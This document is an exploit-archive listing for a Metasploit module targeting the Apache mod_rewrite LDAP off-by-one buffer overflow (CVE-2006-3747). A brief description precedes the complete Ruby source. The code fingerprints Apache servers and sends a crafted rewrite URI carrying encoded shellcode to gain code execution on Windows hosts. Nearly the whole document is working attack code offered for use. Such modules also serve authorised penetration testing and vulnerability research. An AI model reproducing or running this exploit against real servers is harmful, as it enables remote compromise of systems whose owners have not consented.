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Apache module mod_rewrite LDAP protocol Buffer Overflow

Apache module mod_rewrite LDAP protocol Buffer Overflow
Posted Nov 26, 2009
Authored by patrick | Site metasploit.com

This Metasploit module exploits the mod_rewrite LDAP protocol scheme handling flaw discovered by Mark Dowd, which produces an off-by-one overflow. Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable. This Metasploit module requires REWRITEPATH to be set accurately. In addition, the target must have 'RewriteEngine on' configured, with a specific 'RewriteRule' condition enabled to allow for exploitation. The flaw affects multiple platforms, however this module currently only supports Windows based installations.

tags | exploit, overflow, protocol
systems | windows
advisories | CVE-2006-3747
MD5 | 24ecf483512ef6982eb1b227d15ee15a

Apache module mod_rewrite LDAP protocol Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache module mod_rewrite LDAP protocol Buffer Overflow',
'Description' => %q{
This module exploits the mod_rewrite LDAP protocol scheme handling
flaw discovered by Mark Dowd, which produces an off-by-one overflow.
Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.
This module requires REWRITEPATH to be set accurately. In addition,
the target must have 'RewriteEngine on' configured, with a specific
'RewriteRule' condition enabled to allow for exploitation.

The flaw affects multiple platforms, however this module currently
only supports Windows based installations.
},
'Author' => 'patrick',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-3747' ],
[ 'OSVDB', '27588' ],
[ 'BID', '19204' ],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],
[ 'URL', 'http://www.milw0rm.com/exploits/3680' ],
[ 'URL', 'http://www.milw0rm.com/exploits/3996' ],
[ 'URL', 'http://www.milw0rm.com/exploits/2237' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Platform' => ['win'], # 'linux'],
'Payload' =>
{
'Space' => 636,
'BadChars' => "\x00\x0a\x0d\x20",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'StackAdjustment' => -3500,
'DisableNops' => 'True',
},
'Targets' =>
[
[ 'Automatic', {} ], # patrickw tested OK 20090310 win32
],
'DisclosureDate' => 'Jul 28 2006',
'DefaultTarget' => 0))

register_options(
[
OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),
], self.class)
end

def autofilter
return false
end

def check
res = send_request_raw({
'uri' => '/',
'version' => '1.1',
}, 2)

if (res.to_s =~ /Apache/) # This could be smarter.
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

end

def exploit

# On Linux Apache, it is possible to overwrite EIP by
# sending ldap://<buf> ... TODO patrickw

trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'

print_status("Sending payload.")
send_request_raw({
'uri' => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded,
'version' => '1.0',
}, 2)
handler
end
end

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